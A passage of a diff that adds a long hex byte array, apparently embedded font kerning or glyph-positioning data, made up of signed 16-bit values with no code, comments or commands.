0x04, 0xFF, 0x63, 0xFF, 0xC4, + 0xFF, 0xA0, 0xFF, 0xB7, 0x00, 0x00, 0x00, 0x05, + 0xFF, 0xF7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, + 0xFF, 0xF6, 0xFF, 0xF9, 0xFF, 0xFB, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xF7, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xF2, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xF5, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFC, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xF8, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0x00, 0x14, + 0x00, 0x19, 0x00, 0x0D, 0x00, 0x03, 0x00, 0x10, + 0x00, 0x12, 0x00, 0x0B, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xEB, 0xFF, 0xC1, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, + 0xFF, 0xAF, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xD2, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xE6, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x17, 0x00, 0x03, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFC, 0x00, 0x0E, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, + 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xFB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x10, 0x00, 0x28, 0x00, 0x1D, 0x00, 0x00, + 0x00, 0x0F, 0x00, 0x00, 0xFF, 0xE0, 0x00, 0x0F, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, + 0xFF, 0xFB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xF9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xF7, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xF2, 0x00, 0x03, 0x00, 0x00, 0xFF, 0xF6, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xF4, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xDE, 0xFF, 0xF9, + 0x00, 0x00, 0xFF, 0xF5, 0x00, 0x05, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xE3, 0xFF, 0xDD, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xE8, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xF7, + 0x00, 0x00, 0xFF, 0xFD, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, + 0x00, 0x02, 0x00, 0x0C, 0x00, 0x1D, 0x00, 0x1D, + 0x00, 0x27, 0x00, 0x1E, 0x00, 0x1E, 0x00, 0x22, + 0x00, 0x1F, 0x00, 0x1F, 0x00, 0x27, 0x00, 0x2B, + 0x00, 0x2C, 0x00, 0x23, 0x00, 0x9C, 0x00, 0x9C, + 0x00, 0x24, 0x00, 0x9E, 0x00, 0x9E, 0x00, 0x22, + 0x00, 0xAC, 0x00, 0xAC, 0x00, 0x25, 0x96, 0x8E, + 0x96, 0x8E, 0x00, 0x24, 0x96, 0x8F, 0x96, 0x8F, + 0x00, 0x25, 0x96, 0x90, 0x96, 0x90, 0x00, 0x24, + 0x96, 0x91, 0x96, 0x91, 0x00, 0x25, 0x96, 0x92, + 0x96, 0x94, 0x00, 0x22, 0x00, 0x01, 0x00, 0x00, + 0x00, 0x02, 0x0E, 0xCC, 0x00, 0x04, 0x00, 0x00, + 0x0E, 0x82, 0x0E, 0x92, 0x00, 0x00, 0x00, 0x2B, + 0x00, 0x00, 0xFF, 0xFA, 0xFF, 0xED, 0xFF, 0xF8, + 0x00, 0x0D, 0xFF, 0xFD, 0xFF, 0xE7, 0x00, 0x08, + 0x00, 0x07, 0xFF, 0xF8, 0x00, 0x11, 0xFF, 0xF5, + 0xFF, 0xF6, 0xFF, 0xEF, 0xFF, 0xF1, 0xFF, 0xFD, + 0xFF, 0xF5, 0xFF, 0xEF, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xEF, 0xFF, 0xC1, 0xFF, 0xDA, 0xFF, 0xF0, + 0xFF, 0xE2, 0xFF, 0xA3, 0xFF, 0xF2, 0x00, 0x06, + 0xFF, 0xE7, 0x00, 0x12, 0xFF, 0xEC, 0xFF, 0xAE, + 0xFF, 0xA8, 0xFF, 0xC7, 0xFF, 0xE5, 0xFF, 0xCA, + 0xFF, 0xA6, 0xFF, 0xEB, 0xFF, 0xF1, 0xFF, 0xCC, + 0xFF, 0x94, 0xFF, 0xEF, 0xFF, 0xE6, 0xFF, 0xE0, + 0xFF, 0xC0, 0xFF, 0xE5, 0xFF, 0x9C, 0xFF, 0xDB, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0x6E, 0xFF, 0xE3, 0xFF, 0xEF, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x0A, 0x00, 0x05, 0xFF, 0xFD, + 0xFF, 0xEA, 0xFF, 0xFC, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xFA, 0xFF, 0xF3, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xF9, 0x00, 0x00, + 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xFA, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xF9, 0x00, 0x00, + 0x00, 0x10, 0x00, 0x00, 0xFF, 0xF3, 0xFF, 0xE1, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xEF, + 0xFF, 0xF3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xF1, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xF6, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, + 0x00, 0x09, 0xFF, 0xEF, 0xFF, 0xDC, 0xFF, 0xFB, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xF8, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xF8, 0xFF, 0xF4, 0xFF, 0xF5, 0x00, 0x03, + 0xFF, 0xF8, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xF0, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xF6, 0x00, 0x00, + 0x00, 0x21, 0x00, 0x1E, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xEA, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x0A, 0xFF, 0xF7, 0x00, 0x08, 0x00, 0x0A, + 0x00, 0x05, 0x00, 0x08, 0x00, 0x18, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x23, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0xFF, 0xF8, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xF6, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xF9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xF0, 0x00, 0x00, + 0xFF, 0xF9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xE3, 0xFF, 0xC4, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xE7, 0xFF, 0xB2, 0xFF, 0xFD, + 0xFF, 0xFD, 0xFF, 0xF5, 0xFF, 0xC9, 0x00, 0x00, + 0xFF, 0xA6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xEF, 0xFF, 0xEF, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xFC, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x0D, 0x00, 0x00, 0xFF, 0xF9, 0x00, 0x07, + 0x00, 0x0D, 0x00, 0x00, 0x00, 0x11, 0xFF, 0xF8, + 0x00, 0x04, 0xFF, 0xFC, 0xFF, 0xF6, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xF8, 0x00, 0x00, 0xFF, 0xFA, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFB, 0xFF, 0xF7, + 0x00, 0x00, 0xFF, 0xF5, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xFA, 0xFF, 0xF5, 0xFF, 0xF8, 0x00, 0x00, + 0xFF, 0xF7, 0xFF, 0xFD, 0x00, 0x00, 0xFF, 0xF6, + 0xFF, 0xF2, 0x00, 0x00, 0xFF, 0xFD, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xFD, 0x00, 0x00, 0x00, 0x05, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xE1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xD4, 0x00, 0x00, 0x00, 0x08, 0xFF, 0xFA, + 0x00, 0x12, 0xFF, 0xF1, 0xFF, 0xE4, 0xFF, 0xDE, + 0xFF, 0xF3, 0x00, 0x00, 0xFF, 0xF1, 0xFF, 0xD7, + 0xFF, 0xFB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xFD, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFD, 0x00, 0x0F, + 0x00, 0x0F, 0x00, 0x14, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x15, + 0x00, 0x09, 0x00, 0x0B, 0x00, 0x09, 0x00, 0x09, + 0x00, 0x05, 0x00, 0x0D, 0x00, 0x0C, 0xFF, 0xFD, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x0F, 0x00, 0x0E, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFA, + 0x00, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x15, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xD0, + 0xFF, 0x99, 0xFF, 0xA9, 0x00, 0x00, 0xFF, 0xA1, + 0xFF, 0xAF, 0xFF, 0xA9, 0xFF, 0xFB, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xB0, 0xFF, 0xA9, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xF3, 0x00, 0x15, 0xFF, 0x86, 0xFF, 0x90, + 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00, 0x22, + 0x00, 0x00, 0xFF, 0xCA, 0xFF, 0xC3, 0x00, 0x00, + 0xFF, 0xF9, 0xFF, 0xFC, 0x00, 0x0F, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xCB, + 0xFF, 0xCB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xFA, 0xFF, 0xF4, 0x00, 0x00, 0x00, 0x07, + 0xFF, 0xF7, 0xFF, 0xEC, 0x00, 0x00, 0x00, 0x0B, + 0xFF, 0xF8, 0x00, 0x0A, 0xFF, 0xF5, 0xFF, 0xEF, + 0xFF, 0xEC, 0xFF, 0xF5, 0x00, 0x00, 0xFF, 0xF0, + 0xFF, 0xE9, 0x00, 0x00, 0xFF, 0xFB, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xF6, 0xFF, 0xFB, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, + 0x00, 0x0B, 0xFF, 0xFC, 0x00, 0x00, 0xFF, 0xFD, + 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0xFF, 0xFC, + 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFC, 0x00, 0x00, + 0x00, 0x05, 0x00, 0x13, 0x00, 0x04, 0x00, 0x00, + 0x00, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x19, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xF5, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xF6, 0x00, 0x00, + 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xF1, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xF5, 0xFF, 0xED, 0x00, 0x00, 0xFF, 0xF8, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x15, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xAE, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xD2, 0xFF, 0xA7, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xC6, 0x00, 0x00, 0xFF, 0xF6, 0xFF, 0xED, + 0xFF, 0xD3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xFD, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x0F, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xFB, 0xFF, 0xC6, 0xFF, 0xF4, 0x00, 0x08, + 0xFF, 0xF1, 0xFF, 0xAF, 0xFF, 0xF9, 0x00, 0x00, + 0xFF, 0xED, 0x00, 0x0D, 0xFF, 0xF2, 0x00, 0x00, + 0xFF, 0xBD, 0xFF, 0xDC, 0xFF, 0xF3, 0xFF, 0xE7, + 0xFF, 0xBB, 0xFF, 0xF6, 0xFF, 0xF4, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xF7, 0xFF, 0xFD, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xFC, 0x00, 0x00, 0xFF, 0xF8, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xF0, 0xFF, 0xEC, + 0x00, 0x00, 0xFF, 0xEF, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xE5, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xD8, 0xFF, 0xCC, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xE8, 0xFF, 0xFA, + 0xFF, 0xF0, 0xFF, 0xEF, 0xFF, 0xF2, 0xFF, 0xF1, + 0x00, 0x00, 0xFF, 0xFA, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xF0, 0xFF, 0xE3, + 0xFF, 0xE6, 0xFF, 0xEB, 0xFF, 0xE7, 0xFF, 0xDC, + 0xFF, 0xEE, 0xFF, 0xEB, 0xFF, 0xE4, 0xFF, 0xF3, + 0xFF, 0xDD, 0xFF, 0xE3, 0xFF, 0xDC, 0xFF, 0xFD, + 0x00, 0x00, 0xFF, 0xE4, 0xFF, 0xD6, 0xFF, 0xFD, + 0xFF, 0xE9, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xE1, + 0xFF, 0xED, 0xFF, 0xF9, 0x00, 0x00, 0xFF, 0xEC, + 0x00, 0x00, 0xFF, 0xF6, 0xFF, 0xEE, 0xFF, 0xF1, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xF8, 0x00, 0x04, + 0x00, 0x0A, 0x00, 0x03, 0x00, 0x0E, 0xFF, 0xFA, + 0x00, 0x00, 0xFF, 0xF5, 0xFF, 0xFD, 0x00, 0x09, + 0x00, 0x00, 0xFF, 0xF6, 0x00, 0x00, 0x00, 0x05, + 0x00, 0x00, 0xFF, 0xF3, 0xFF, 0xF8, 0x00, 0x03, + 0x00, 0x0F, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xDD, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, + 0x00, 0x04, 0xFF, 0xE4, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x08, 0x00, 0x0A, 0x00, 0x03, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xE1, 0xFF, 0xEC, 0x00, 0x00, 0x00, 0x0F, + 0xFF, 0xCD, 0x00, 0x00, 0xFF, 0xBD, 0x00, 0x00, + 0xFF, 0xE1, 0xFF, 0xED, 0x00, 0x00, 0xFF, 0xF1, + 0x00, 0x00, 0xFF, 0xC6, 0xFF, 0xDD, 0xFF, 0xEC, + 0xFF, 0xEC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xFB, 0x00, 0x08, 0x00, 0x04, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xF1, 0xFF, 0xF7, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x14, 0x00, 0x15, 0x00, 0x00, + 0x00, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x1A, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xDC, 0xFF, 0xDD, 0x00, 0x00, 0xFF, 0xDB, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xEC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xF8, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xCC, + 0x00, 0x04, 0x00, 0x16, 0x00, 0x00, 0x00, 0x24, + 0x00, 0x00, 0xFF, 0xC9, 0xFF, 0xCF, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x12, 0x00, 0x1E, 0x00, 0x00, + 0x00, 0x04, 0x00, 0x0B, 0x00, 0x00, 0xFF, 0xEE, + 0xFF, 0xDE, 0xFF, 0xC9, 0xFF, 0xA1, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xF6, + 0xFF, 0xFD, 0x00, 0x00, 0xFF, 0xED, 0x00, 0x00, + 0x00, 0x00, 0x00, 